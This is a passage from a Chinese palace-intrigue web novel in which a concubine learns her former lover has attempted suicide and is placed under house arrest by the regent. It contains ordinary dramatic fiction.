今天在大明宫内那些话,恐怕全叫他听着了。 短命、健忘云云。 其实她有点心烦。这些话,叫他听见,估计他会往心里去,特别是她健忘这一节。 半晌,她又睁开眼,手指在扶手上敲着。 罢。 他们已经一刀两断、一别两宽,他提的。 他有什么身份要求她不忘。她忘得快,他不该更满意?就算他不甘心,也没办法,他们毕竟已经断了——他提的。 她略有些困了,烛火跳得她昏昏沉沉,于是半阖着眸子,打了个哈欠。 殿外忽然有一道急急的嗓子:“快给娘娘传话,给娘娘传话!” 她眉头一皱,在镜中往殿门看:“怎么了?” 殿门开了,进来一个弓着身子拿着拂尘的影子,是王让,小碎步紧着倒换:“珍妃娘娘,娘娘,您快去紫宸殿吧!诶哟,皇上头风发了,正在里边叫着您呢,您赶快去呀!” 夜已深了。整座紫禁城一片幽森漆黑,沉默的宫人们手执宫灯,列行在前,凄凄照亮一小片圆。 这种杳夜,这种暗灯,仿佛人要淌着水过冥河。 南琼霜坐在轿子里,四面蟋蟀蝉鸣叫得她心慌,竖着耳朵仔细一辨,紫宸殿方向一阵极其凄厉的哀嚎,断断续续、扭曲尖嘶,隔得这么远,依旧听得见。 手肘拄在扶手上,她支着太阳穴,叹了口气。 祸福相依。福是,今夜之后,圣宠会再稳些。祸是,今夜,势必殚精竭虑、兵荒马乱、不得安宁。 一行人正急匆匆地往紫宸殿赶,忽然身后又一道模糊的声音,紧赶慢赶自幽邃的宫道奔来,寂静的深夜里,喘息和高喊声格 外突兀: “娘娘,珍妃娘娘,您留步!摄政王说,有急事,要您先去一趟大明宫!” 是吴顺,已跑得气喘不匀,踉踉跄跄。 “急事?什么急事?皇上发头风,什么事急得过紫宸殿?” 吴顺撑着膝盖喘了两下,走到她面前来:“摄政王说,千万叫您先去一趟大明宫!什么事,摄政王哪会跟奴才们说呀,您得到大明宫亲自问去!” 南琼霜坐直了身子,只觉李玄白今夜莫名其妙。 这种时候,倘若不直奔紫宸殿,若真出了什么差错,她绝没个好下场。即便不出差错,等到嘉庆帝清醒过来,也必得同她离心——皇上那边正发着病,她怎么能往大明宫去? 她手一挥开,不由分说:“去紫宸殿。” 吴顺三两步挡在她的轿子前,满头大汗着下跪:“娘娘,摄政王那头令下得严,要娘娘去紫宸殿前,务必先往大明宫去,耽误不得啊娘娘!” 她手指在扶手上心烦意乱地敲了两下:“你去告诉摄政王,等皇上病情稳定,我马上便去。” “娘娘,摄政王叫您即刻就去!马虎不得!”吴顺的汗从黑帽底下狼狈淌下来,湿了眉毛,“摄政王还说,即便皇上那头日后不满,有什么事,他都给您担着!非要您现在就去!” “到底有什么事……” 她烦躁叹了口气。 李玄白那厮脾气太大,无人压得住他。嘉庆帝虽然是个疯子,在李玄白面前到底还是个鹌鹑。倘若日后她不得圣心,有摄政王在背后撑着,嘉庆帝不论如何不会太冷落她。但若得罪了摄政王——事情会变得十分艰难。 她刚同顾怀瑾一刀两断,相当于亲手弃了国师这张牌。眼下手中的牌,除了她的容貌手腕,就只剩摄政王这一张。 她心烦地闭了闭眼,叹息:“去大明宫。” 大明宫内,明灯煌煌。 李玄白格外喜爱明亮,是以寝宫名唤大明,夜夜灯火通明。殿内有一座巨型枝状烛台,落地接天,蔓延满墙。风一过,满墙烛火明灭摇动,殿内光影婆娑,看人如隔着千千影。 李玄白换了身闲适寝衣,端着盏烛,神色散漫地转过身,搁在窗下长案上。 因着本要入睡,他一贯束成高马尾的长发散在背后,垂着眼。锋锐嚣利的五官被烛光晕得柔和许多,艳丽五官映出些深邃的影,随着烛光,扑朔明昧。 桃花一般的唇,眼下一颗泪痣,闲惬奢艳,自己倒是毫不在乎自己这张脸。 他这样子,南琼霜从未见过,一时有些错愕。 李玄白见她亦是错愕。今夜她一点妆也没有上,眉眼间一派寒素,比往日更像一尊冰雕。 她只是皱着眉催:“到底什么事。” 李玄白隔着烛盏朝她伸出手掌:“出宫令牌。” 她一愣:“什么?” 一点橘色的幽幽的烛光在他眼底跳动,他眼里情绪难辨,摄人心魄: “外头出了点事。所以,出宫令牌。” “我本该去紫宸殿,你不管不顾地下急令把我召来,就是叫我不准出宫?”她实在难以置信,“谁说要出宫了?” 李玄白不答,只是笑着朝她张开手掌。 她忽然隐约觉得不妙。 她坐得正了些:“外头出了什么事,你先说。” “楚皎皎。”李玄白忽然笑了,手拄在案上,悠哉玩着自己鸽血红的小耳坠,“给你那个令牌,是因我纵着你。我不愿给,便收回。你想与本王讨价还价?” 不由分说的口气,不由分说地拿身份压她。 李玄白何曾如此?他一向是只要不扯他老虎尾巴,他能任她在脑门上蹦跶的。 南琼霜坐在对面,愈听愈疑,愈听愈往后靠。 李玄白倾身在案上,噙着点难明笑意,往前伸着手掌。 一盏烛火,突突地跳,映得他英俊脸孔忽明忽暗。 她的心像烛火一般忐忑不安。 “到底什么事。”她今夜有点忌惮他,“你不肯说?” 李玄白含笑点了头。 不肯说的,便不能问,这是他们两人心照不宣的默契。 南琼霜望着他黑漆漆的幽潭般的眸子,张了张口,最终还是一字未吐。 他不肯说,问也无益。 令牌是他给的,强留也留不下。乖乖交了,等宫外风头过去,说不定还能回她手里。 同他这尊大佛硬碰硬,才真是竹篮打水一场空。 她只犹豫了半刻,便定了主意,抬起长睫:“我出来时没有带在身上。你派吴顺去取吧,叫他与我的侍女同回。我先去紫宸殿了。” 话毕,提着衣摆便要起身。 对面李玄白懒懒半垂了眼帘:“不准去。” 南琼霜拎着衣摆的手倏地一顿,愕然抬首。 “什么?” “不准去。”他那颗小耳坠在烛火里鲜亮如水滴,他一派懒散,“回你菡萏宫去,好好歇息。” 南琼霜怔在原地,满心不可置信。 紫宸殿闹成一锅粥,他亦知道嘉庆帝发作起来必须她陪,可是他竟要她回菡萏宫? 李玄白伸了个懒腰,捂着嘴打了个哈欠,手朝吴顺一挥:“去取令牌。” 吴顺点头哈腰地到了她身侧,伸手将她往外引:“娘娘,请吧。” 他下了令,便抱着肩膀垂首,懒得看她。 南琼霜难以理解地深深看了他半晌。 末了,一言不发起了身。 同他这嚣狂性子的人相处,重要的是,千万 不可硬碰硬。 她拉了拉肩上外披:“我不去,紫宸殿中谁在侍疾?” 他抬首望着天花板:“毛琳妍去了。” 她最讨厌偏向她的人,同毛琳妍沾边。 李玄白观她已如对镜自照,一瞬便知她心思,手指有一搭没一搭在胳膊上敲着:“放心吧,你若失宠,我给你撑着。今夜的事,你别管,回去好好睡觉。” 她站在那,仍沉着脸,不说话。 良久,她道:“我只问一句。宫外起火,会不会烧进宫内?” 他答:“不会。” “你确定我不会因此而遇险?” 他道:“确定。” 南琼霜半信半疑。他答得太笃定,反而叫她心里发虚。 他却忽然开口:“听话。” 烛火盈盈,映得他锋锐五官耐心而柔和。他望着她,眸色温柔,声音那样轻,她登时明白,这两个字,已经是他在……求。 他服软,也不过就是这地步。 再不见好就收,注定一场空。 她垂眼:“好。” 李玄白终于放了心。 “吴顺,跟着娘娘回去。” 一行人复又出了大殿。堂皇的大明宫被她抛在身后,青紫色的夜幕里,满殿灯火,也不过一点缥缈的微弱的光。 吴顺擦着步子,满头大汗地跟在她轿子一旁。 寂静的紫禁城中的深夜,杳无杂声,仿佛一头巨兽闭紧了齿关,人在宫道上穿行,犹如在巨兽的肚腹内行走。 唯有一点鸟啼、蝉鸣和紫宸殿遥遥的哀嚎。 月色惨白,映得南琼霜搁在扶手上的指节白得几乎透明。 她不知怎么,心里慌得厉害。 总觉得出了事。 胸腔里的心脏一下一下跳得慌忙,高高弹击着两肺,又失重地落回去。她伸手按着心口,忽然觉得胸膛里空空如也,一切都空空如也。 莫名其妙地全空了,她什么也抓不住。 到底是怎么了? 她道:“吴顺。摄政王今夜怎么这时辰还没歇下?” 吴顺挑着八字眉赔笑:“回娘娘,摄政王今夜批折子批得晚了些。” “批折子?”她挑眉轻哂,“表兄通宵批折子,本宫忧心他心急上火,一向嘱咐尚膳局给他送碗银耳莲子百合粥。久而久之,本宫不必开口,尚膳局也晓得往里送。方才本宫怎么没见桌上有那粥?” 吴顺无话可答,只是赔笑。 她接着道:“况且,他那神色,懒适厌倦,哈欠连天,眼睛都还红着,眼见是睡下了又给叫起来的。” 吴顺笑着应是。 南琼霜嫌厌一挥手:“狗奴才,半点儿真话也没有!” 吴顺咧着嘴假笑,弯出一口齐整的牙:“娘娘体恤咱们摄政王,怎么骂奴才们都成。” 南琼霜望着吴顺那张在月色下,笑纹堆满、却不见半分笑意的谄媚的脸,幽幽无言。 半晌。 她抬手朝随在身侧的菡萏宫太监指了一圈,最后点在吴顺身上: “把他给我抓起来,捂住嘴。” “诶,娘娘……”吴顺大惊失色,下半句话还未吐,顷刻给一只手掌噎进牙堂子里,人倏地往后一倒,倾翻了。 南琼霜:“看好了,万不能让他给我跑了。”手一抬,朝哀嚎声源头远远眺望:“去紫宸殿。” 紫宸殿里亦是灯火通明。 殿外已是一片慌乱无序。 宫人们手持宫灯,在殿前列行守着,大开的殿门之内,宫女们鱼贯出入,一碗碗棕黑的汤药被慌里慌张地端进去,西域进贡的最好的安神香被捆成小臂粗的一把,系着黄丝带呈进殿内。 殿内,惨呼哀叫声不绝于耳,间还有毛琳妍失态的啼哭。 南琼霜在殿外立了一瞬,便觉里头形势大约不好,嘉庆帝闹得太厉害,恐怕这回病发得严重。 嚎得这么瘆人,恐怕顾怀瑾和王茂行都得连夜入宫。 四下里一望,却觉得不大对劲。 忙忙活活的,唯有一些宫人。皇上嚎得这么惨,别说顾怀瑾,御医都哪去了? 她无暇细想,提着裙摆便要往内走。 忽然又顿住脚步,回身一望。 吴顺正被她宫里太监扭剪着双手,动弹不得,口里塞着七八方帕子,呜呜呀呀地说不了话。 她扫了一眼那制着吴顺的太监,轻声道,“放了吴公公吧。” 那太监不明就里,不敢违背,迟疑着松了手。 吴顺终于得以喘一口气,大汗淋漓地呼哧带喘,汗从太阳穴成条淌下:“娘娘……” “回去告诉表兄,我没有听他的话。”她半回过身子,唯留一点侧首的眸光分给他,“倘若他要怪,怪德音便是。倘若他不准德音侍疾,非要他亲自来紫宸殿,德音才肯走。不然,德音是不肯置皇上于不顾的。” 说完,她提着裙摆径自往紫宸殿内去,头也不回,“去吧,对表兄说吧。” 她的声音,散在紫宸殿痛苦的号叫和温柔的夜风里。 吴顺不敢耽误,撒开步子扭着胯,火急火燎地往大明宫狂奔。 远香清涟二人随在南琼霜身后,并不懂她究竟是何意,彼此忧心忡忡地对视一眼。 南琼霜神色纹丝不动,从容跨过了门槛。 把吴顺放回去,也是因为她忌惮李玄白的脾气。 面对摄政王,小事尽可有商有量。但他再三下过的令,硬碰硬,就只有死路一条。 她不能同李玄白对着干。 亦不能乖乖听话,回菡萏宫。 阳奉阴违,先斩后奏,是没有办法的办法。 反正她斩了,他那头早晚也有人奏给他,不如由她来奏,以示悔改服软之意。 但求他日后往她身上打板子,能念着她这份自首之心。 她沉默无言地过了紫宸殿的玛瑙珠帘,殿内苦药味扑鼻而来,涩得人心里发闷。 她一路朝金黄纱幔的龙床缓行过去。 层层叠叠的缀着金片的床幔中,一个人影凄凉卧在正中,周围锦枕龙衾暄软得仿佛云团,他陷在中间,几乎压得厚厚的衾被翘起来。 人太憔悴,枕衾太繁丽,衬得他像夹在其中的干瘪的枣核。 毛琳妍坐在龙床边缘,身子跪伏到嘉庆帝枕边,正哀哀啼哭。 金幔中的人已经虚弱得声嘶,唯有一声一声的呢喃:“德音……德音……” 她心里一凛,急急奔去,撩开床幔时已经落了泪,“皇上……” 嘉庆帝听见她的声音,勉强睁开一丝眼缝,黢黑的眼圈,朝她伸出一只手:“德音,救我……” “皇上,皇上,臣妾来了……”她心中笑,男人就是爱大惊小怪,不过是头痛,一面泪落如滚珠,“臣妾来迟了……您今日怎么发作得这么严重……” “朕……朕……心中郁结啊!”嘉庆帝头歪在枕上,眼缝一开,竟哗哗淌出一条小溪般的泪,“你可知外头出了什么事!今日……” 话未等出口,一阵惊天动地的猛咳,咳得他几乎在床上打挺。 她正急着问,毛琳妍一阵大叫将她挤去一旁,嗷嗷嚎哭,似乎誓要比嘉庆帝的号叫更凄惨,以证忠心。 “皇上!您这嗓子已经哑成这样,旁的事情,您就先别想了!还是经管好自己的身子骨要紧……” “外头出了什么事,皇上?”她含着泪绞帕子,“您可别吓我。您今夜……” 今夜已经十分反常。嘉庆帝病发至此,紫宸殿内竟然只有一个可怜兮兮的赵太医。从前皇上一发病,乌泱泱跪一地御医大臣,今日,这些人都哪去了? 王茂行也不在。顾怀瑾亦没来。 顾怀瑾的无量心法刚好可缓解嘉庆帝的头痛,这疯子素日就依赖他,这时候,怎么不召他进宫? 她心里隐约有了一个最坏的猜想。 她不敢深想,哽着脖子将那念头吞进胃里,心脏狂跳。 龙床上,嘉庆帝眼皮发乌,眼下青黑,恍恍惚惚抬起一点眼皮,满头大汗。 吐着字,眼睑里一根莹莹泪光,往下流淌。 他嚎哭道:“德音,顾先生自戕了!” 第158章 南琼霜站在原地,什么也没说出来,也什么都听不见了。 只听见自己轻轻呼吸。 一呼、一吸。一呼、一吸。 良久,丝绸罩子里的灯火跳动一瞬。 映得她忧郁面孔,一半清醒,一半迷茫。 她眨眨眼,只觉得虽然有光,但不够亮。万物隐在幽黑的夜色里,万物一样迷茫。 她倒还平静,冷静而自持地轻声问: “顾府那边……有人去了?” 嘉庆帝:“御医们都在顾府呢。王相也去了。朕下了口谕,务必将先生救回来,不计任何代价!先生是朕肱股之臣……”忽地又呲着牙抱起头来,“好痛……朕头痛啊……朕头痛……” “救回来”。 人还没死。 她抖着身子喘息,又把所有战栗全压下去。 毛琳妍急急推开她,下去抚嘉庆帝的脸:“皇上,您歇歇,旁的事您先别想了,您歇歇。会有办法的……” 南琼霜吸了吸鼻子,方才熟稔落着泪的人,忽然一颗眼泪也不掉了,只是张着口微微喘气。 不知不觉,耳边叮一声耳鸣,全身的血咆哮着涌进大脑,冲得她眼前一片漆黑,她跌跌撞撞地摸了张椅子,仓皇坐下,勉强呼吸。 连双手都麻痹了,头晕目眩。 又是这样。 她没有 杀他,他就自杀。这个人—— 他早就有这种念头的。 是她疏忽了。 为什么没早一点想到? 她忽然发现自己竟然在皇上的寝宫里,当着皇上的面,为有私情的男人落泪,心里猛然一激灵,腾地一下弹起来,两步就要软倒在嘉庆帝床侧——既然是宫妃,倒也得倒在皇上的床边——忽然却听见殿门口一道熟悉的声音: “你在这干什么。” 李玄白依旧穿着他那一身闲适的丝缎寝衣,不紧不慢,自朦朦胧胧的金色纱幔后踱出来。 望着她,一双恣肆狐狸眼,狠狠压在剑眉底下,威慑迫人,狠厉不善。 他何曾用这种眼神瞧过她。 他今日是真动了怒。 她明知该服软,还是一点一点支撑着膝盖,强自扶着床站起来,一双眼,凄而怒,眼底蓄着两汪执拗的水光,一字一字: “这就是为什么你不准我来紫宸殿。” 烛火无声跳动。 李玄白挑着眉梢,嗤笑一声。 那一声,他笑得太轻,叫她感觉她所有的感受在他那里,也不过是一些轻如鸿毛之物,当即心中一片冰雪。 就算这男人爱她,他也未必在乎她。 她怎么会期望他照顾她的感受。他这人与顾怀瑾不同,倒与她像绝——即便她爱顾怀瑾,她在乎过顾怀瑾的感受吗? 李玄白或许爱她,但不在乎她的感受。 他们当真相像。 如今,再在李玄白身上吃亏,她也唯有一点恶有恶报的自嘲,偏开眼,只是笑。 “本王不准你来紫宸殿,是知道皇上今日发作得厉害。你眼皮子浅,见了受不了。” 他居高临下,嗓音缓怠。 南琼霜瘫坐在地上,无力支撑,抬起脸来看他。 他那双眼睛,平静淡漠,望着她含悲,半点动容也没有。 她却电光火石般,悟了他话中之意。 ——那是当着嘉庆帝和毛琳妍,有意为她圆场的一句话。 她一瞬愕然,匆匆回过头去望着床幔之内,只见毛琳妍一双眼,正不动声色地在她面上打量。 两人对视一瞬,毛琳妍若无其事地偏开眼。 她心中后怕。 是她失态了,竟然在紫宸殿内为了顾怀瑾两腿发软,泪眼滂沱。 他动了怒,还是下意识帮她遮掩。 可是。 他要走出宫令牌,不准她来紫宸殿,又是为何。 是有意捂住消息,不准她知道? 南琼霜再感恩他替她圆场,也咬着牙不愿看他,闭了闭眼,扶着床边,再度站起了身,哀哀朝床幔中的人含泪行去。 毛琳妍正竖着耳朵听这边的动静,听见她起身,装模作样地抚着嘉庆帝的脸颊,一边安慰,一边落泪。 “去哪。”李玄白吐字:“给我过来!” 她止住脚步,背对着身后震怒的人,筋疲力竭地平缓呼吸。 ——眼下不是同摄政王计较这些的场合。 李玄白又道:“皇上疯症发作时,曾以宠嫔的大腿骨制琵琶,此事你不是不知!既已有人侍疾,本王不愿你冒险,叫你安安分分地回宫歇息,哪知一番苦心,你全不领情!” 这又是说给毛琳妍和嘉庆帝听的话。 她暗忖片刻,回过身来,屏着息在李玄白面前站定,垂首顺从道: “德音眼浅,辜负表兄一番心思,求表兄责罚。” 大殿内的宫灯亮得昏聩,正正好好立在两人正中。 一人高,一人低,一人垂首,一人负手而立,咫尺但迢迢。 “责罚。”李玄白冷哼一声,“是该责罚。” 他盯视着她,字吐得极轻,眉梢突地一挑: “滚回你菡萏宫去。” 深夜,月明星稀。 深更半夜的出菡萏宫侍疾,没想到去大明宫转了一圈,又去紫宸殿内折腾了半日,最后兜兜转转,又回了她自己的菡萏宫。 夜里的菡萏宫静得不合时宜。 宫外出了这么大的事,雅致的庭院竟还依旧雅致,万事万物,一派清幽怡然。 花草树木当真是无情之物。 她浑浑噩噩地,幽灵一般飘进了菡萏宫,甫一跨过门槛,仿佛被剪断了线的提线木偶,不仅倒下,更乱七八糟地碎了一地。 远香清涟两个忙手忙脚将她扶起来。 她不愿当着人哭,更不愿当着人崩溃。当着往生门家养婢的面,如此失态,已经叫她难堪,她推开两人,手一挥叫她们全下去,歪歪斜斜地站起来。 直奔贵妃榻而去,枕着玉枕,阖眼歇了一刻。 那种叫人头晕目眩的、汹涌的血潮,终于稍微平息。 她总算有余裕想想她方才做了哪些蠢事。 当着嘉庆帝的面为那人哭了;六神无主的模样被李玄白亲眼看见;软着腿脚站也站不起来,难以自控地泪流满面,也叫那人瞧见——冷眼瞧见。往后想强词夺理,说两人没有什么,恐怕也难了。 倘若他知道她同顾怀瑾已经有过何种关系,他是否还肯庇佑她? 她缓缓捂住脸。 可是,为什么这种时候,她心里首先涌上来的,还是她那些差事。 他快死了。 是因为什么。 因为天山之祸,他终于还是想不开? 可是,她都已经放了。既然放了手,他总能慢慢想明白,该恨谁,该爱谁。只要他肯恨她,把一切推到她身上,他总可以放过他自己。 她都已经愿意成全他,还能怎样,还想要她怎样? 她已经连人生里唯一一点光亮都肯放! 她将头埋在臂间,泪哗哗地从眼角奔涌下来,积在鼻梁窝里,蓄出一点小水潭。 ——这个死脑筋的,究竟想要她怎样?! 她并膝侧身蜷在贵妃榻上,搂着自己,瘦削的肩头突出一块骨头,硌得她自己都痛了。 若要去顾府,现在恐怕不是好时机。 眼下,大约太医院所有太医全在他府上,说不准还有摄政王和定王的眼线。她贸然前去,只怕他床前正被围得里三层外三层,不仅见不得面,还有可能暴露踪迹。 现在去顾府,绝非聪明之举。 只是。 她倏地爬起身来去寻夜行衣。 不能事事全求聪明。她此时才明白,不能事事全求聪明。 心有心的选择。 倘若他真就从此赴了黄泉,连最后一面也没叫她见着,她就算从往生门中逃了,也没法从顾怀瑾三个字里逃开。 临终之人,哪会等她。 她像个慌不择路的穷途之人,泪眼婆娑地在放夜行衣的抽屉里摸索,不敢惊动两个宫女,咬着嘴唇屏着息,但再压抑,鼻腔里依旧有声音。 但能怎么办。 她一向不爱落泪,落泪全是做戏,今日才知何为泪如泉涌。 忽然,宫殿外头一阵沉重的甲胄之声,齐整划一,急匆匆地从远处小跑过来。 听声音,是入了庭院便分为几行几列,从月亮门一直铺到庭院角落,几步一人,将整座菡萏宫围守了起来。 她骤然从黑茫茫一片的衣柜中抬起头。 怎么回事。谁闯了她的菡萏宫? 她胡乱用帕子擦了脸,轻轻将柜门合上,吱呀一声。 蹑手蹑脚贴到墙边,她借着墙掩去身形,悄悄自雕窗往外窥视。 一个一个,尽是佩刀侍卫,人高马大、宽肩窄腰,雄赳赳地负手叉腿在她窗下一立,夜色里,仿佛庭院里筑了两圈乌压压的栅栏。 庭院正中,一个头领模样的侍卫,昂首挺胸,大摇大摆,四面巡视。 腰间挂着不知什么令牌,隔得太远,她看不清。 她推开窗子,朝那领头的喝:“何人擅闯我菡萏宫?” 那中间的领头听到声音,边迈步边抱拳,几步到了她窗下:“末将张度,奉摄政王之令,携金戈侍卫,护娘娘周全。” “金戈侍卫?”李玄白怎么将金戈侍卫调到她宫门口了? 她按着窗框:“何事不周全,又何须护我什么周全?” 张度垂首:“近日京中局势动荡,摄政王恐娘娘有虞,命金戈侍卫守卫菡萏宫。” 守卫? 她一听这说辞,当即心如明镜。 摆明了是软禁。 为什么。就为不准她出宫? 她冷笑,“‘守卫’?你们不明不白地闯进我这院子,将我这宫中堵得水泄不通,问也不问我,把宫中的门全部堵死,你们管这叫‘守卫’?” 张度不语。 她道:“都给我滚出去!不管是摄政王的令,还是谁的令,都给我滚出去!” 张度:“娘娘恕罪。”口里道着恕罪,却半分也不歉疚,腿往后一撤,就自顾自欲回去巡视。 “站住!”她竭力把喉咙里的颤抖压下去,装着声色俱厉,“本宫没问完,谁给的你胆子给本宫撂脸色!” “属下不敢。”张度转回身来颔首,“金戈侍卫得摄政王诏令,奉命死守菡萏宫。宫中人不准出,宫外人不准入。属下是奉命办事,不敢不从。若有开罪娘娘之处,还望娘娘宽恕。” 死守。 她按着窗框的手不自觉一扣,磕得手掌生疼。 她咬着嘴唇内侧一点嫩肉,冷笑:“摄政王可说了要将我禁足到何时?” “摄政王无意将娘娘禁足,一切只为护娘娘周全。” 她愈发笑了一声: “周全。好,周全。他要这般护我到何时?一日后?三日后?” 张度抱拳: “摄政王并未给一个确切日子。只说,待京中局势稳定,一切便可如常。” 她听着,咬着后槽牙笑起来: “即是说,什么时候放,还不知道呢。” 张度不答了。 她才明白,李玄白在这节骨眼上,将她强押进了一个天光不进的笼子,铁了心将她关起来,派人层层把守,怕她去寻那不知何时就要撒手人寰的人。 他知道他们二人恐怕有什么,知道顾怀瑾出了事,她恐怕心神大恸。 就是因为知道,才这样,下了死命令关她。 她从未如此切身地尝到他那强横脾气的滋味。 她亦是难以被人控制的脾性,越被强迫,越怒、越不甘,只觉身上百般不爽,愈发冷得厉害。 她强自稳着嗓音:“叫摄政王过来。” 张度从未想过一介宫妃,竟然敢以如此口吻对摄政王下令,当即不屑道:“摄政王忙于政事,得空自会来宫中陪伴娘娘。” 毫不遮掩地敷衍,连口头允诺传个话都不愿。 她全身骨头咯吱咯吱地摇,夏夜的寒凉渗进骨头缝,白着脸,再没有一句话。 张度见她并无多余吩咐,一扭头走了,依旧四面巡逻。 金戈侍卫全是李玄白的亲卫,是他亲自从亲军之中擢选而来。这些人,个个有本事,又得摄政王青眼,直接为摄政王效力,除了李玄白的令,谁的话都不放在眼里。 什么样的主子,出什么样的奴才。 他们不会卖她半分面子。 南琼霜恨恨关上窗,砰的一声,震得满院树叶摇晃。 她脚步虚浮着走到贵妃榻旁,甫一动弹,又是满身血液冲进脑子,怒得满眼昏黑,恍恍惚惚地两手往前摸索。 清涟远香二人早已进了殿,侍在她身侧,见她这副模样,慌忙将她扶起来,搀上贵妃榻,一面帮她顺气。 她靠在玉枕上,晕着头强自缓了一阵,才想到她这副模样,落在清涟远香眼里,又不知是何种意义,头痛欲裂着撑起身子。 哪里都有人,哪里都被人监视。不是被毛琳妍窥视,就是被李玄白试探,不是被李玄白试探,就是被这两个婢女揣测,她想独处半刻,都无法。 她道:“去给我沏盏茶。” 远香喏喏去了,清涟依旧侍在她身侧。 她已经没有力气计较身旁有无人监视,气息奄奄地趴在榻上等。 清涟见她脸色难看得可怕,轻声道:“娘娘,莫气坏了自己身子。即便顾先生自戕而亡,您那半个任务也已经补上。嘉庆帝依旧心悦你,便是被关上一时半刻,又能怎样?” 又能怎样。 她缓缓攥起拳头,指节绷得都透明。 他在看不见的地方咽气,她被关在这个鬼地方,一言一行,都在重重眼线之下。 她阖着眼,心神交瘁,没有半点力气。 不久,茶来了。她缓缓伏起身子,靠在围栏上垂着眼吹热气,刚在唇中过了一口,忽然又听得阴影角落中化了一道声音出来。 雾刀:“南琼霜。” 她已经无悲无喜,监视她的人已经如此之多,再多他一个又如何,只是疲着神色不答。 雾刀大跨步从阴影中迈出来,蹲在她脚下: “姑奶奶,给您报告个事儿。您这回的差事,有一个快不成啦。那姓顾的快死了。” 她听着这些字,已经木然,掀着茶盖不说话。 雾刀见她不言语,还以为她是漠不关心,“您别这副模样呀,姑奶奶。便是琵琶大会将您那半个任务补了,这半个差事,也还有银子拿呀。白送到嘴边的银子!你我二人要一同分的!姑奶奶您——” 她吐字已如幽灵一般,眼睛睁着,可是木木地哪里也不看: “……把你听见的,都给我说说。” 雾刀忽觉她神色有异,愣了一瞬,倏地,眼珠一转,仿佛白捡了猎物的野兽,已是一种阴险的惊喜: “姑奶奶,这么晚……怎么还没歇下?” 她知道他在想什么。 但她无力管了。 她道:“嘉庆帝头风犯了。本该去紫宸殿内侍疾……不想被摄政王软禁了。当年招惹他,搬起石头……砸自己的脚。” 雾刀喜着神色来回琢磨她,仿佛一条狗,饿着肚子,却捡到了一个将死之人,喜不自胜地围着,咻咻地嗅。 她不得不聚起一点心神:“……姓顾的怎么了。” “哦,那姓顾的,快死了。”雾刀眉飞色舞,“不知道抽的什么风,今儿夜里自己割了腕。发现的时候,血已经淌了满床。眼下他府里头全是御医,人乌央乌央的,但我瞧着他血都流干了,脸都发绿,怕是不成啦。” 她睫毛颤了两下:“那我又能怎样。” 雾刀一拍手:“您若有什么止血药,我给他送去呀!门内是要您杀他,但动手的令还没下来,他这时候死了,我这银子!……不是,我们俩的银子!可就没着落了呀!” “……我没有。御医全在那,宫中若是有什么秘药,定然也都给他送去了。若说奇药,我手里的药,能好得过宫里的?蠢货。” “那您说怎么着?就放着他死了,银子飞啦?” “你一日日,就惦记着你那点银子。”她捧着茶盏,虚弱冷哼一声,“给我滚回顾府探消息去。出了这么大的事……定王和摄政王定然都会派人打听。顾府……”忽然,话一顿,她迟钝的眼珠一动,眼神忽地聚起点亮光: “雾刀,去把云瞒月给我调来。” “云瞒月?” “……那姓顾的体质特殊,修的心法也特殊。但除了我,他未对他人讲过。割腕失血,旁人束手无策,但我有法子。”这都是瞎话,怕雾刀发觉她对顾怀瑾的情意,故而诓他,“只是,我出不去。摄政王亦爱我,不准我出宫探望,派了自己的亲卫来,将我软禁在宫里。是以,倘若你想那姓顾的该死的时候再死,得把云瞒月给我叫来。” 雾刀煞有介事地努力思考了一阵,依旧没绕过来,因此觉得她此计甚妙。 他嘻嘻笑道:“好,小的这就去。” 雾刀领了命走了。 南琼霜再也支撑不住,仰着面倒在贵妃榻上,气若游丝地喘气。 一波一波的人,一波一波的眼睛。她应付完这个,再应付那个,已是强弩之末。 真累啊。 清涟远香两个,见她这副模样,都是惊疑交加,面面相觑,上来替她扇着扇子: “娘娘……” 她眼下最厌被这些人围着。没人知道她为何有这么多眼泪,偏偏她一边悲痛,还要分神出来演戏。 “……你们说,摄政王软禁了我,皇上会不会疑心我们二人的关系。晟贵妃是否就此更加得宠。我是否没有出头之日了?” 两人忙道:“娘娘,您千万别这么想……” 她阖着眼,眼泪滚滚淌过太阳穴:“我都已经得了嘉庆帝的心,却又失去了。男人心,最是不可靠。这回失宠,又招惹了摄政王……” 她不说话了。 她把她所有眼泪和失态都用冠冕堂皇的话解释过一遍,才能放下心来肝肠寸断。 菡萏宫内一时唯有她低低的抽泣。 清涟远香两人垂首默在一旁。 “我问你们。”她忽地从贵妃榻上抬起头来,双眼通红,又忌惮着门外侍卫,用气声骂,“既然你们已是顾怀瑾的人,他有这种打算,你们二人竟半分口风也未透给我?!” 两人匆匆对视一眼,惊疑跪下,“娘娘,娘娘,您冤枉奴婢啊!” “冤枉。”她冷笑一声,“你们两个,再算上他,是真拿我当傻子。” “一个宫外之人,手伸到宫里头传字条,这种事,若无我身边人接应,根本无半分可能。再有,那一日飞仙楼听戏,我才刚从飞仙楼迈出来,到了紫宸殿,他就已经知道摄政王与我一同听了戏,听的还是《桃花扇》。我前夜爱吃些瓜子,他隔日就知道。夜里多咳了几声,他也知道。” “如此详察入微,面面俱到,若不是你二人给他通气,他如何得知?!细论起来,约莫是去无量山时,中途被贼人劫了船,又被他救下,你二人 就此听了他的话,给他办事。——我早就瞧了出来,不过睁一只眼闭一只眼。可是你们二人!” 她骤然抓起茶杯掷在地上,碎片哗地迸溅,她忽地又悔闹得太大,压低声音: “只知把我的事捅给他,竟不知将他的事告诉我!这么大的事,皇上头风发作,头痛欲裂!摄政王吃一个将死之人的醋,我一夕之间被软禁!” “奴婢……奴婢并不知摄政王亦对您……会因此软禁您……” “你们不知,就可以揭过了?” 二人泣道:“即便顾先生心存死志,我们二人也不过是个传话的,先生又怎会对奴婢们说这些?” 忽地,殿门被从外叩了两下,张度听见里头的动静,隔着门喊: “娘娘,出了什么事?” 她恨道:“与你无关!” 张度:“娘娘,莫慌,稍安勿躁!” 她不知这人究竟在自说自说些什么,骂:“滚!” 殿门倏地被人从外踹开,淡蓝色月光登时在门口印出一个箕田(梯形),一人叉着腿站在两门正中,朝里面抱拳: “多有得罪,属下奉命,护娘娘安危!” 南琼霜登时惊愕诧异地回过头来,眯起眼。 这人究竟想做什么?! 却见张度回身将殿门吱呀一声关了,穿过一扇一扇雕花的月光的影,大踏步走来,方才那种傲慢神色,已然一变。 他行礼抱拳,压低声音: “娘娘,顾先生临去之前,有几样东西,要属下交给您。” 第159章 南琼霜一时错愕。 清涟远香两个亦没料到,彼此对视一眼,回过头觑她的眼色。 她拿不准此人是真是假,胳膊依旧搭在贵妃榻雕花的围子上,没说话也没动。 